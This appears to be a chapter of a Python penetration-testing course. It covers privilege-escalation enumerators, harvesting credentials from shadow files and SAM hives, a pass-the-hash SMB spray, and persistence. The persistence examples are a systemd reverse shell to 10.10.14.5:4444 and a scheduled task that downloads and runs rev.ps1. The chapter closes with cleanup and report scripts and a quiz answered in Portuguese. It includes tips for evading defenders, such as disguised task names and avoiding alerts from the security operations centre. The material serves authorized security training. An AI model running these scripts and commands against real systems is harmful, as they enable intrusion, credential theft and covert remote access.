4.4.4 Generic RCE – remote shell capture

If you exploited via HTTP or deserialisation and already have a **reverse shell** back to your listener, wrap it with `pwntools` to automate “whoami + uname”.

```
from pwn import *
def quick_enum(conn: remote):
    conn.sendline(b'whoami')
    user = conn.recvline(timeout=2).decode().strip()
```

```
    conn.sendline(b'uname -a')
    os  = conn.recvline(timeout=2).decode().strip()
    return user, os
```

Log result with `save_hostinfo`, and then pivot to the SSH/WinRM enumerators after you drop your own key.

4.4.5 Lateral-Movement Candidates

Create a view in SQLite:

```
CREATE VIEW admin_creds AS
SELECT ip, user, passwd
FROM hostinfo h
JOIN creds   c USING(ip, user)
WHERE h.priv='admin';
```

Feed that into **CrackMapExec** or your own SMB threading script.

4.4.6 Exercises

#	Challenge	Hint
1	Extend Linux enum to fetch /var/www/html/*/.php if priv = root.	tar cz + SFTP
2	Parse id -un/whoami output to detect *containerised* hosts (uid=0 but no /etc/passwd).	check /proc/1/cgroup
3	Add screenshot capture for Windows via PowerShell Add-Type -AssemblyName System.Windows.Forms.	convert to base64 PNG
4	Write a decorator that retries enumeration once if network read times out.	asyncio.TimeoutError

#	Challenge	Hint
5	Build a summary table “shells per subnet” with Pandas and print top 5.	df.groupby(ip_prefix).size()

4.4.7 Completion Checklist

- `hostinfo` and `loot` tables created and populated.
- Keys / hives saved to `loot/<date>/` and truncated proofs in DB.
- Enumerator scripts **continue** when a host is offline.
- No DB duplicates (`UNIQUE(ip,user,proto)` optional constraint passes).

4.4.1 - Post Exploitation (WinPeas and LinPeas)

“Rolling-your-own *PEAS*” — Linux & Windows privilege-escalation scanners in pure Python

*(A lightweight, auditable alternative to **linpeas.sh** and **winPEAS.exe**)*

---

0. Why write your own?

- **Auditability** – many blue-team clients refuse binaries from GitHub.
- **Flexibility** – tailor the checks to *your* environment (container escape? AD CS misconfigs?).
- **OPSEC** – run a single signed script instead of spawning 200 external utilities that trip EDR.

Below you’ll find two compact yet extensible frameworks:

Script	Target	LoC	Dependencies
pypeas_linux.py	Linux	≈250	stdlib only

Script	Target	LoC	Dependencies
pypeas_windows.py	Win 10+	≈300	pywin32, ctypes (both pre-installed on Kali & most red-team boxes)

Each produces **JSON lines** so you can import directly into `loot` or pipe to jq.

---

1. Design principles

Principle	Implementation
Modular checks	One function = one finding; registry via decorator.
Fail-soft	Every check wrapped in try/except; never crashes the whole scan.
Low noise	Only emit *interesting* values (non-default, risky, world-writable …).
No root/Admin needed	Enumerators rely on read-only sources; escalate after review.
Self-contained	No grep, awk, wmic; uses Python APIs or reads /proc, registry.

---

2. `pypeas_linux.py` — annotated core

> **Run:** `python3 pypeas_linux.py > linux_loot.jsonl`

```
#!/usr/bin/env python3
"""
pypeas_linux.py
~~~~~~~~~~~~~~~
Minimal linPEAS-style enumerator — Python 3.8+
Outputs one JSON object per finding to STDOUT.
```

```python
"""

from __future__ import annotations
import os, json, pwd, grp, subprocess, pathlib, re, socket, stat
from functools import wraps
from datetime import datetime

FINDINGS: list[dict] = []           # global store
ROOT = pathlib.Path("/")

# ---------- helper: register decorator ----------------------------
def check(name: str):
    def deco(fn):
        @wraps(fn)
        def wrapper():
            try:
                for item in fn():
                    item.update(src=name, ts=datetime.utcnow().isoformat()+"Z")
                    FINDINGS.append(item)
            except Exception as e:
                FINDINGS.append({"src": name, "error": str(e)})
        return wrapper
    return deco

# ---------- 1. Basic system info ----------------------------------
@check("sysinfo")
def sysinfo():
    yield {
        "kernel": pathlib.Path("/proc/sys/kernel/osrelease").read_text().strip(),
        "hostname": socket.gethostname(),
        "user": pwd.getpwuid(os.getuid()).pw_name,
    }

# ---------- 2. SUID + world-writable binaries ---------------------
```

```python
@check("suid_bins")
def suid_bins():
    for p in ROOT.rglob("*"):
        try:
            st = p.lstat()
            if st.st_mode & stat.S_ISUID:
                if p.name in ("find","vim","perl","python","bash"):
                    yield {"path": str(p), "type": "privesc-prone"}
        except Exception: pass

# ---------- 3. Capabilities (cap_setuid, cap_net_admin …) ---------
@check("file_caps")
def file_caps():
    out = subprocess.run(["getcap","-r","/"], capture_output=True, text=True)
    for line in out.stdout.splitlines():
        f, caps = line.split(" ",1)
        if "cap_setuid" in caps or "cap_net_admin" in caps:
            yield {"path": f, "caps": caps}

# ---------- 4. World-writable files in critical dirs --------------
@check("writable_conf")
def writable_conf():
    critical = ("/etc","/usr/lib/systemd/system")
    for base in critical:
        for root,_,files in os.walk(base):
            for f in files:
                p = pathlib.Path(root)/f
                try:
                    if os.stat(p).st_mode & 0o002:   # other-write
                        yield {"path": str(p), "world_writable": True}
                except Exception: pass

# ---------- 5. Interesting /etc entries ---------------------------
@check("etc_shadow_perms")
```

```python
def etc_shadow():
    if os.stat("/etc/shadow").st_mode & 0o004:
        yield {"shadow_readable": True}

# ---------- 6. Crontabs & timers ----------------------------------
@check("cron_jobs")
def cron():
    for cron_dir in ("/etc/cron.d","/etc/cron.daily", "/var/spool/cron"):
        for p in pathlib.Path(cron_dir).glob("*"):
            txt = p.read_text(errors="ignore")
            if re.search(r"(bash|sh)\s+-c", txt):
                yield {"cron": str(p), "cmd": txt.strip()[:120]}

# -------------------- run all registered checks -------------------
for fn in [sysinfo, suid_bins, file_caps, writable_conf, etc_shadow, cron]:
    fn()

for item in FINDINGS:
    print(json.dumps(item))
```

Outside-the-code explanation

- The **decorator** pattern lets you add checks by writing one function — nothing else.
- `getcap` call is the *only* external binary; safe for most distros (< 10 kB).
- Findings are JSON lines → easy to filter:

```bash
jq -c 'select(.type=="privesc-prone")' linux_loot.jsonl
```

---

3. `pypeas_windows.py` — annotated core

> **Run:** `python pypeas_windows.py > win_loot.jsonl`
> (Requires `pywin32` ; on most shells that's already present.)

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
pypeas_windows.py
~~~~~~~~~~~~~~~~~
Windows PEAS clone — collects priv-escalation clues
Outputs JSONL on STDOUT.
"""

import json, os, ctypes, winreg, subprocess, sys
from datetime import datetime
from functools import wraps

F = []   # results list

def check(name):
    def wrap(fn):
        @wraps(fn)
        def runner(*a, **kw):
            try:
                for item in fn(*a, **kw):
                    item["src"] = name
                    item["ts"]  = datetime.utcnow().isoformat()+"Z"
                    F.append(item)
            except Exception as e:
                F.append({"src":name,"error":str(e)})
        return runner
    return wrap

# ------------ 1. Who am I & privs -------------------
```

```python
@check("whoami")
def whoami():
    out = subprocess.check_output("whoami /priv", shell=True, text=True, encoding="utf8")
    yield {"user": os.getlogin(), "privs": out.strip()[:4000]}

# ------------ 2. AlwaysInstallElevated ----------------
@check("aie_policy")
def aie():
    for hive in (winreg.HKEY_CURRENT_USER, winreg.HKEY_LOCAL_MACHINE):
        try:
            k = winreg.OpenKey(hive, r"SOFTWARE\Policies\Microsoft\Windows\Installer")
            val = winreg.QueryValueEx(k, "AlwaysInstallElevated")[0]
            if val == 1:
                yield {"hive": "HKCU" if hive==winreg.HKEY_CURRENT_USER else "HKLM",
                       "AIE": True}
        except FileNotFoundError:
            pass

# ------------ 3. Unquoted service paths ---------------
@check("services_unquoted")
def services():
    scm = ctypes.windll.advapi32.OpenSCManagerW(None, None, 0x0001)
    buf = ctypes.create_unicode_buffer(8192)
    needed = ctypes.c_uint()
    count  = ctypes.c_uint()
    ctypes.windll.advapi32.EnumServicesStatusExW(
        scm, 0, 0, 0x000F, buf, ctypes.sizeof(buf),
        ctypes.byref(needed), ctypes.byref(count), None, None)
    for line in buf[:needed.value].split("\x00"):
        if " " in line and not line.startswith('"'):
            yield {"svc": line, "unquoted": True}

# ------------ 4. Weak reg ACLs on autoruns ------------
@check("autorun_acl")
```

```python
def autorun():
    path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    k = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path)
    for i in range(winreg.QueryInfoKey(k)[1]):
        name, cmd, _ = winreg.EnumValue(k, i)
        sd = subprocess.check_output(f'powershell "(Get-Acl -Path \'{cmd.split()[0]}\').Access"', shell=True)
        if b"Everyone" in sd and b"WriteData" in sd:
            yield {"autorun": name, "cmd": cmd}

# ------------ run & emit JSON -------------------------
for fn in (whoami, aie, services, autorun):
    fn()

for item in F:
    print(json.dumps(item))
```

Why we use ctypes for services

`sc query` drops locale-dependent output; the API gives raw service path so regexing unquoted spaces is deterministic.

---

4. Importing PEAS results into `loot` table

```python
import json, sqlite3, pathlib, time
from libs.post_utils import save_loot

for file in pathlib.Path(".").glob("*_loot.jsonl"):
    proto = "ssh" if "linux" in file.name else "winrm"
    for line in file.read_text().splitlines():
        save_loot("127.0.0.1", 0, proto, "peas", "inline", line.encode())
```

---

5. Cross-host summary (“quick wins”)

```
import pandas as pd, sqlite3
db = sqlite3.connect("exploits.db")
peas = pd.read_sql("SELECT content FROM loot WHERE loot_type='peas'", db)
df   = pd.json_normalize(peas["content"].apply(json.loads))

print("Hosts with AlwaysInstallElevated:")
print(df[df["src"]=="aie_policy"][["hive"]].drop_duplicates())

print("\nSUID binaries allowing shell:")
print(df[df["src"]=="suid_bins"]["path"].value_counts().head())
```

---

6. Exercises

1. **Docker escape check** – add to Linux PEAS: detect `/var/run/docker.sock` user-writable.
2. **BloodHound feed** – in Windows PEAS, emit `principal → privilege` edges in CSV for BloodHound import.
3. **EDR detection** – check running processes for known EDRs and lower scan speed if present.
4. **AWS meta-data** – if cloud, query `http://169.254.169.254/latest/meta-data/iam/security-credentials/`.
5. **Colourised console** – when STDOUT is a TTY, pretty-print high-risk findings in red before JSON dump.

---

7. Checklist

- `pypeas_linux.py` and `pypeas_windows.py` run as **non-root / non-Admin** and finish without traceback.
- Output captured in `*_loot.jsonl` and imported to `loot` table.
- At least one critical misconfig (SUID bin, AIE policy, unquoted service) listed.

- Scripts ≤300 LoC, pure PyPI + stdlib (easy to audit).

4.5 - Automated Lateral Movement & Persistence

*“A foothold is a start; a **pivot** chains the whole network.”*

In this section you will:

1. **Pivot automatically** from one compromised host to the next using the credentials and shells already catalogued in `exploits.db`.
2. **Harvest new creds** (pass-the-hash, Kerberoast, SSH-agent abuse) on each hop and feed them back into the campaign loop.
3. **Lay low-noise persistence** (Scheduled Task / systemd-timer) that survives reboots but is trivial to remove when the engagement ends.
4. **Log every hop** so your final report can trace the entire attack-path graph.

Everything stays Python-native; the only compiled code you touch is Microsoft’s own binaries (e.g. `reg.exe`, `schtasks.exe`) that already live on the target.

4.5.0 Architecture (“Cred-Hydra” Loop)

```
exploits.db
 ├─ creds
 ├─ hostinfo
 └─ loot           <-- kerberos tickets, LSASS dumps, id_rsa …

       ┌── harvest_creds.py ──────────┐
       │  new creds found?            │
       └──────────────────────────────┘
                      │
                      │ INSERT
                      ▼
  spray_ssh.py / spray_winrm.py    (from § 4.2)
                      │ SUCCESS
                      ▼
```

```
  post_enum [ssh/winrm]            (from § 4.4)
                      │ LSASS dump / key files
                      ▼
        (loop back to top)
```

A **cron-style orchestrator** calls each module in sequence; the loop exits when a full rotation yields no new credentials.

4.5.1 Cred Harvester (from loot → creds)

```python
#!/usr/bin/env python3
"""
harvest_creds.py
----------------
Scans `loot` table for new material:
  • /etc/shadow      → John --wordlist
  • SAM/SECURITY hives → impacket secretsdump
  • id_rsa           → adds user@host to creds
"""

from __future__ import annotations
import sqlite3, json, subprocess, tempfile, pathlib, shlex, re
from libs.creds_utils import log_cred

db  = sqlite3.connect("exploits.db")
rows = db.execute("SELECT rowid, path, content, proto, ip, port "
                  "FROM loot WHERE processed IS NULL").fetchall()

for rowid, path, content, proto, ip, port in rows:
    path = path.lower()

    # -------- Linux shadow → John -----------------
```

```
    if "shadow" in path:
        tmp = tempfile.NamedTemporaryFile(delete=False)
        tmp.write(content); tmp.close()
        john = subprocess.run(["john","--show",tmp.name],
                              capture_output=True, text=True)
        for line in john.stdout.splitlines():
            if ":" in line:
                user, passwd = line.split(":",1)
                log_cred(ip, port, user, passwd, "ssh")

    # -------- Windows SAM hive -------------------
    elif path.endswith(".hiv") and "sam" in path:
        base = pathlib.Path(tempfile.gettempdir())/("samdump.hiv")
        base.write_bytes(content)
        sec  = pathlib.Path(path.replace("sam","security")).read_bytes()
        sys  = pathlib.Path(path.replace("sam","system")).read_bytes()
        sec_path = base.with_name("sec.hiv"); sec_path.write_bytes(sec)
        sys_path = base.with_name("sys.hiv"); sys_path.write_bytes(sys)

        cmd = ["secretsdump.py", "-system", sys_path, "-sam", base,
               "-security", sec_path, "LOCAL"]
        out = subprocess.check_output(cmd, text=True, stderr=subprocess.DEVNULL)
        for m in re.finditer(r"(?P<user>[^:]+)::[^:]*:(?P<hash>[0-9A-F]{32}):", out):
            log_cred(ip, 445, m.group("user"), m.group("hash"), "smb-ntlm")

    # -------- id_rsa private keys ---------------
    elif path.endswith("id_rsa"):
        key_path = pathlib.Path("/tmp")/("key_"+ip.replace(".","_"))
        key_path.write_bytes(content)
        log_cred(ip, 22, "UNKNOWN", str(key_path), "ssh-key")

    db.execute("UPDATE loot SET processed=1 WHERE rowid=?", (rowid,))
db.commit()
```

Explanation (outside the code)

- `processed` flag prevents double-parsing.
- `john --show` is valid even for locked engagements because it never cracks online—local hash only.
- NTLM hashes flow into the same `creds` table—later spray scripts treat them like clear-text (Pass-the-Hash with Impacket).

4.5.2 Lateral SMB / Pass-the-Hash Spray

```
#!/usr/bin/env python3
"""
spray_smb_hash.py
_________________
Uses NTLM hashes from creds table to attempt ADMIN$ share access.
"""

from __future__ import annotations
import asyncio, sqlite3, json, pathlib
from impacket.smbconnection import SMBConnection
from libs.creds_utils import limit, log_cred
from rich.progress import track

db = sqlite3.connect("exploits.db")
hash_creds = db.execute("""SELECT DISTINCT user, passwd
                           FROM creds WHERE proto='smb-ntlm'""").fetchall()
targets = [json.loads(r)["ip"] for r in open("all_open.ndjson")
           if json.loads(r)["port"] == 445]

@limit(6,1)                        # 6 attempts / sec total
async def try_admin(ip, user, nthash):
    try:
        smb = SMBConnection(ip, ip, timeout=3)
```

```
        smb.login(user, '', domain='', lmhash='', nthash=nthash)
        smb.listPath("ADMIN$", "\\")
        smb.logoff()
        log_cred(ip, 445, user, nthash, "smb-admin")
    except Exception:
        pass

async def main():
    await asyncio.gather(*(try_admin(ip, u, h) for u,h in hash_creds for ip in track(targets)))

asyncio.run(main())
```

Why no LM hash?
SMB ≥ Win 2008 rejects it; sending empty LM is safe.

4.5.3 Golden Tickets & Kerberoasting (quick win)

Add to the enumeration phase on Windows:

```
Add-Type -AssemblyName System.DirectoryServices.Protocols
$ctx = New-Object System.DirectoryServices.Protocols.LdapConnection("dc.corp.local")
$req = New-Object System.DirectoryServices.Protocols.SearchRequest("DC=corp,DC=local",
     "(servicePrincipalName=*)","Subtree",@("sAMAccountName","servicePrincipalName"))
$res = $ctx.SendRequest($req)
```

Then in Python parse tickets and call `impacket.GetUserSPNs` to roast.

(Full code omitted for brevity; conceptually identical to hash harvest.)

4.5.4 Persistence – Low-noise Techniques

Linux (systemd-timer)

```
timer = f"""
[Unit]
Description=RevShell

[Timer]
OnBootSec=30min
OnUnitActiveSec=4h
Unit=rev.service

[Install]
WantedBy=timers.target
"""
service = f"""
[Unit]
Description=Reverse shell

[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
"""
sftp.putfo(io.BytesIO(service.encode()), "/etc/systemd/system/rev.service")
sftp.putfo(io.BytesIO(timer.encode()),   "/etc/systemd/system/rev.timer")
ssh.exec_command("systemctl enable --now rev.timer")
```

Windows (Scheduled Task, living-off-the-land)

```
schtask = (r'Schtasks /Create /SC minute /MO 30 /TN rev '
           r'/TR "powershell -NoP -W 1 -C IEX(New-ObjectNet.WebClient)'
```

```
            r'.DownloadString(\'http://10.10.14.5/rev.ps1\')"')
client.execute_cmd("cmd.exe", ["/c", schtask])
```

Remember:

- Keep task names generic (`AdobeUpdater` , `SystemHealth`).
- Store paths & names in `loot` for quick clean-up after engagement.

4.5.5 Campaign Orchestrator v2 (`lop_chain.py`)

```
PHASES = [
  ("harvest", "python harvest_creds.py"),
  ("spray_ssh", "python spray_ssh.py Winter2024! --workers 80"),
  ("spray_winrm", "python spray_winrm.py Winter2024!"),
  ("spray_smb_hash", "python spray_smb_hash.py"),
  ("post_ssh", "python post_ssh_linux.py"),
  ("post_winrm","python post_winrm.py")
]
```

Run the loop until `harvest` finds zero new creds.

4.5.6 Exercises

#	Challenge	Hint
1	Write a NetworkX script that turns creds + hostinfo into a graph of “credential reuse” paths.	df.merge then nx.from_pandas_edgelist

#	Challenge	Hint
2	Implement socksify.py to launch an SSH dynamic-port-forward when a new *root* shell appears.	ssh -N -D via paramiko
3	Add a persistence cleaner: read loot for timers/tasks and delete them automatically.	Track paths & task names
4	Integrate BloodHound Python to auto-upload new session edges on each pivot.	bloodhound-py
5	Rate-limit campaign to “no new lateral move after 04:00 local time” (avoid SOC night alerts).	Check datetime.now()

4.5.7 Done Checklist

- Harvest script moved at least one credential from `loot` → `creds`.
- SMB hash spray produced ≥ 1 new admin credential or logged “none found”.
- Persistence artefacts tracked in `loot` and removable in < 1 minute.
- Orchestrator loop halts when no new creds appear (idempotent).
- Graph of lateral moves can be generated (proof of path-to-objective).

4.6 - Cleanup & Automated Report Generation

“Leave no residue, leave a crystal-clear trail of what you did.”

The engagement is over: shells are closed, persistence is in place (or already approved for removal) and you must provide **two deliverables**:

1. **Cleanup scripts** that restore the environment to its pre-test state without breaking production.
2. **Evidence bundles** (HTML + ZIP) that document every step — hosts touched, credentials used, commands executed, loot collected.

Everything below is pure-python, re-using the same `exploits.db`, `loot/` folder and helper libraries you built in previous sections.

4.6.0 Database additions

Add one table to track what *still* needs cleaning:

```
CREATE TABLE IF NOT EXISTS persist
 (ip TEXT, port INT, proto TEXT,
  method TEXT, artifact TEXT, added INT, cleaned INT DEFAULT 0);
```

You already wrote persistence (4.5).
When you **create** a scheduled task / systemd-timer append one row into `persist`.

4.6.1 Host-side cleanup scripts

4.6.1-A Linux rollback (`cleanup_linux.py`)

```
#!/usr/bin/env python3
"""
cleanup_linux.py
----------------
SSH into every host that still has `persist.cleaned = 0`
and removes the stored systemd units or cron files.
"""

from __future__ import annotations
import sqlite3, paramiko, asyncio, json
from rich.progress import Progress

db = sqlite3.connect("exploits.db")
rows = db.execute("""SELECT p.ip, p.port, c.user, c.passwd, p.artifact
```

```
                    FROM persist p
                    JOIN creds c USING(ip, port)
                    WHERE proto='ssh' AND cleaned=0""").fetchall()

async def wipe(ip, port, user, pw, art):
    ssh = paramiko.SSHClient(); ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(ip, port=port, username=user, password=pw,
                allow_agent=False, look_for_keys=False, timeout=5)
    cmd = f"sudo systemctl disable --now {art} && sudo rm /etc/systemd/system/{art}"
    ssh.exec_command(cmd)
    ssh.close()
    db.execute("UPDATE persist SET cleaned=strftime('%s') WHERE ip=? AND artifact=?",
               (ip, art)); db.commit()

async def main():
    sem = asyncio.Semaphore(20)
    async def worker(r):
        ip, port, user, pw, art = r
        async with sem:
            try: await wipe(ip, port, user, pw, art)
            except Exception: pass
    with Progress("[cyan]linux-clean", total=len(rows)) as p:
        await asyncio.gather(*(worker(r) for r in rows))
        p.advance(len(rows))

asyncio.run(main())
print("[+] Linux artefacts removed & DB updated")
```

4.6.1-B Windows rollback (`cleanup_win.py`)

```
#!/usr/bin/env python3
"""
cleanup_win.py
```

```python
--------------
Deletes scheduled tasks left in winRM hosts.
"""
import asyncio, sqlite3, json, re
from pypsrp.client import Client
from rich.progress import Progress

db = sqlite3.connect("exploits.db")
rows = db.execute("""SELECT p.ip, p.port, c.user, c.passwd, p.artifact
                     FROM persist p JOIN creds c USING(ip, port)
                     WHERE proto='winrm' AND cleaned=0""").fetchall()

async def rm_task(ip, port, user, pw, task):
    cli = Client(ip, username=user, password=pw,
                 ssl=(port==5986), port=port, cert_validation=False)
    cmd = f'Schtasks /Delete /TN "{task}" /F'
    cli.execute_cmd("cmd.exe", ["/c", cmd])
    db.execute("UPDATE persist SET cleaned=strftime('%s') WHERE ip=? AND artifact=?",
               (ip, task)); db.commit()

async def main():
    sem = asyncio.Semaphore(8)
    async def w(r):
        ip, port, u, p, art = r
        async with sem:
            try: await rm_task(ip, port, u, p, art)
            except Exception: pass
    with Progress("[magenta]win-clean", total=len(rows)) as pr:
        await asyncio.gather(*(w(r) for r in rows))
        pr.advance(len(rows))

asyncio.run(main())
print("[+] Windows tasks deleted & DB updated")
```

Commentary for both scripts

Concept	Why
JOIN persist ↔ creds	Re-uses already-valid credentials; no new auth guesses are made.
cleaned timestamp	Proof that rollback finished; report shows zero cleaned=0 rows = ✅ .
Semaphore caps	Prevents “storm” of sudo/WinRM sessions that might flood the SOC at once.

4.6.2 Evidence packager (`make_report.py`)

Generates:

- `report.html` — executive summary + clickable tables.
- `report.zip` — all JSON, CSV, key files, scripts **minus** malware payloads.

```
#!/usr/bin/env python3
"""
make_report.py — turn exploits.db, risk.csv, loot/ into a zipped dossier.
"""

from __future__ import annotations
import sqlite3, pandas as pd, pathlib, zipfile, json
from jinja2 import Environment, FileSystemLoader
from datetime import datetime
import shutil, os

db = sqlite3.connect("exploits.db")
summary = {
    "creds": db.execute("SELECT COUNT(*) FROM creds").fetchone()[0],
```

```
    "rce":   db.execute("SELECT COUNT(*) FROM rce").fetchone()[0],
    "loot":  db.execute("SELECT COUNT(*) FROM loot").fetchone()[0],
    "hosts": db.execute("SELECT COUNT(DISTINCT ip) FROM hostinfo").fetchone()[0],
}

# ---------- HTML via Jinja2 ----------------------------------------
env = Environment(loader=FileSystemLoader("."))
template = env.from_string("""
<!DOCTYPE html><html><head><style>
body{font-family:sans-serif} table{border-collapse:collapse}
th,td{border:1px solid #aaa;padding:4px;font-size:14px}
.high{background:#ffb3b3}.medium{background:#fff1b3}
</style></head><body>
<h1>PenTest Summary — {{ date }}</h1>
<ul>
  <li>Total hosts touched: {{ stats.hosts }}</li>
  <li>Valid credentials: {{ stats.creds }}</li>
  <li>RCE shells: {{ stats.rce }}</li>
  <li>Loot artefacts: {{ stats.loot }}</li>
</ul>
<h2>Top Credentials</h2>
<table><tr><th>User</th><th>Pass/Hash</th><th>Proto</th><th>IP</th></tr>
{% for c in creds %}
<tr><td>{{c.user}}</td><td>{{c.passwd}}</td><td>{{c.proto}}</td><td>{{c.ip}}</td></tr>
{% endfor %}
</table>
</body></html>
""")

top_creds = pd.read_sql("SELECT ip,user,passwd,proto FROM creds LIMIT 20", db)
html = template.render(date=datetime.utcnow(), stats=summary,
                       creds=top_creds.to_dict("records"))
pathlib.Path("report.html").write_text(html)
print("[+] HTML report written")
```

```
# ---------- ZIP everything for client ----------------------------
with zipfile.ZipFile("report_bundle.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.write("report.html")
    z.write("risk.csv") if pathlib.Path("risk.csv").exists() else None
    for loot in pathlib.Path("loot").rglob("*"):
        z.write(loot)
print("[+] report_bundle.zip ready — hand to client")
```

Why not PDF?
HTML is portable, searchable, and you avoid the “embedded macro” false-positives that some gateways flag on auto-generated PDF.

4.6.3 Final campaign wrapper (`finalize.py`)

```
#!/usr/bin/env python3
import subprocess, sys
for s in ("cleanup_linux.py","cleanup_win.py","make_report.py"):
    if subprocess.call(f"python {s}", shell=True):
        sys.exit(f"[-] {s} failed — abort deliverable creation")
print("[✓] Cleanup done & report zipped")
```

4.6.4 Exercises

#	Task	Hint
1	Add a **hash-of-loot** column (sha256) so integrity can be re-verified after delivery.	hashlib.sha256
2	Enhance make_report.py to embed screenshots ().	base64.b64encode

#	Task	Hint
3	Create a PowerShell version of the Windows cleanup script for blue-team hand-off.	Unregister-ScheduledTask
4	Use Python's cryptography to encrypt report_bundle.zip with the customer's PGP key.	Fernet + AES-256
5	Auto-generate a **MITRE ATT&CK** heat-map based on techniques flagged during enumeration and exploitation.	pandas pivot + matplotlib

---

4.6.5 Completion Checklist

- All persistence entries show a non-zero `cleaned` timestamp.
- `report_bundle.zip` contains `report.html`, `risk.csv`, `loot/` and **nothing malicious**(payloads, shells).
- SHA-256 hashes of `loot` files logged in DB or spreadsheet.
- Clients can follow every step in HTML report from first scan to cleanup.
- Your **campaign VM** is snapshot-clean or destroyed.

1. Which Python module allows you to execute system commands during exploitation?

- ◯ A) subprocess
- ◯ B) os.path
- ◯ C) http.client
- ◯ D) syslog

A resposta correta é:

✅ **A) subprocess**

Explicação

O módulo **subprocess** do Python é usado para **executar comandos do sistema operacional** a partir de um script Python.

Ele permite:

- executar comandos do shell
- capturar saída (stdout)
- capturar erros (stderr)
- interagir com processos

Exemplo simples:

```
import subprocess

result = subprocess.run(["whoami"], capture_output=True, text=True)

print(result.stdout)
```

Saída típica:

```
root
```

Também é comum usar:

```
subprocess.Popen()
subprocess.run()
subprocess.check_output()
```

Por que as outras estão erradas?

B) os.path

❌ Usado apenas para **manipulação de caminhos de arquivos**.

C) http.client

❌ Usado para **requisições HTTP**.

D) syslog

❌ Usado para **enviar logs para syslog**.

✅ **Resposta final: A) subprocess**

2. What is the result of subprocess.check_output(["id"]) on Linux?

- ◯ A) Opens a shell
- ◯ B) Returns the current user and groups
- ◯ C) Raises an exception
- ◯ D) Exits the script

A resposta correta é:

✅ **B) Returns the current user and groups**

Explicação

O comando Linux **id** mostra informações sobre o usuário atual, incluindo:

- **UID (User ID)**
- **GID (Group ID)**
- **grupos aos quais o usuário pertence**

Quando executamos em Python:

```
import subprocess

subprocess.check_output(["id"])
```

O Python executa o comando **id** no sistema e **retorna a saída do comando**.

Exemplo de saída no Linux:

```
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo),4(adm)
```

Isso indica:

- o **usuário atual**
- o **grupo principal**
- **outros grupos associados**

Por que as outras estão erradas?

A) Opens a shell

❌ Não abre shell interativo.

C) Raises an exception

❌ Só ocorreria se o comando falhasse.

D) Exits the script

❌ Apenas retorna a saída do comando.

✅ **Resposta final: B) Returns the current user and groups**

3. Which Python function is best for parsing JSON output from exploit APIs?

- ◯ A) open().read()
- ◯ B) re.findall()
- ◯ C) json.loads()
- ◯ D) str.encode()

A resposta correta é:

✅ **C) json.loads()**

Explicação

A função **json.loads()** do módulo json é usada para **converter uma string JSON em um objeto Python** (dicionário ou lista).

Isso é muito comum quando se trabalha com **APIs**, incluindo APIs de exploração, scanners ou ferramentas de segurança.

Exemplo:

```
import json

data = '{"user": "root", "uid": 0}'
```

```
parsed = json.loads(data)

print(parsed["user"])
```

Saída:

```
root
```

Após o parsing, o JSON vira um **dicionário Python**, permitindo acessar os campos facilmente.

Por que as outras estão erradas?

A) open().read()

❌ Apenas lê um arquivo, não faz parsing JSON.

B) re.findall()

❌ Usado para **regex**, não para JSON.

D) str.encode()

❌ Converte string para bytes.

Regra rápida

Função	Uso
json.loads()	string JSON → objeto Python
json.dumps()	objeto Python → JSON

✅ **Resposta final: C) json.loads()**

4. What's the purpose of requests.post() in an exploitation script?

- ◯ A) Capture traffic
- ◯ B) Send payload to a vulnerable endpoint
- ◯ C) Parse HTML
- ◯ D) Scan for ports

✅ **Resposta correta: B) Send payload to a vulnerable endpoint**

Explicação

A função **requests.post()** da biblioteca **requests** em Python é usada para **enviar uma requisição HTTP POST** para um servidor.

Em **scripts de exploração (exploitation)**, isso normalmente é usado para:

- Enviar **payloads maliciosos**
- Submeter **dados manipulados**
- Explorar **formulários vulneráveis**
- Enviar **command injection / SQLi / RCE payloads**

Exemplo típico em exploit:

```
import requests

url = "http://target.com/login"

payload = {
    "username": "admin",
```

```
    "password": "' OR '1'='1"
}

r = requests.post(url, data=payload)

print(r.text)
```

Aqui o script está **enviando um payload para um endpoint potencialmente vulnerável**.

Por que as outras estão erradas?

- **A) Capture traffic** ❌ Captura de tráfego é feita com ferramentas como **tcpdump, Wireshark ou Scapy**, não com requests.
- **C) Parse HTML** ❌ Parsing de HTML normalmente usa **BeautifulSoup** ou **lxml**.
- **D) Scan for ports** ❌ Port scanning usa **socket, scapy ou nmap**, não requests.

✅ **Resposta final: B) Send payload to a vulnerable endpoint**

5. In Python, what is a reliable way to encode a payload for a web exploit?

- ◯ A) urllib.parse.quote()
- ◯ B) sys.argv
- ◯ C) os.system()
- ◯ D) eval()

✅ **Resposta correta: A) urllib.parse.quote()**

Explicação

A função **urllib.parse.quote()** é usada para **URL-encode** dados antes de enviá-los em uma requisição HTTP.

Em **web exploits**, isso é importante porque muitos payloads contêm caracteres especiais como:

```
' " < > ; & / ? =
```

Esses caracteres podem **quebrar a URL ou ser filtrados**, então precisam ser codificados.

Exemplo

```
import urllib.parse

payload = "' OR 1=1--"
encoded = urllib.parse.quote(payload)

print(encoded)
```

Saída:

```
%27%20OR%201%3D1--
```

Agora o payload pode ser enviado com segurança em uma URL:

```
http://target.com/search?q=%27%20OR%201%3D1--
```

Por que as outras estão erradas?

B) sys.argv

❌ Apenas lê argumentos da linha de comando.

C) os.system()

❌ Executa comandos no sistema.

D) eval()

❌ Executa código Python (perigoso e não serve para encoding).

✅ **Resposta final: A) urllib.parse.quote()**

6. What does the following code do? import platform; platform.system()

- ◯ A) Runs OS commands
- ◯ B) Parses cookies
- ◯ C) Loads shellcode
- ◯ D) Returns the OS name (e.g., Windows, Linux)

✅ **Resposta correta: D) Returns the OS name (e.g., Windows, Linux)**

Explicação

O código:

```
import platform
platform.system()
```

usa o módulo **platform** para obter informações sobre o **sistema operacional** onde o script está sendo executado.

A função **platform.system()** retorna uma string com o nome do OS.

Exemplos de saída

Sistema	Retorno
Linux	"Linux"
Windows	"Windows"
macOS	"Darwin"

Exemplo

```
import platform

os_name = platform.system()
print(os_name)
```

Saída possível:

```
Linux
```

Uso comum em exploits

Em scripts de **exploit ou pós-exploração**, isso é usado para adaptar comandos:

```
if platform.system() == "Windows":
    cmd = "whoami"
else:
    cmd = "id"
```

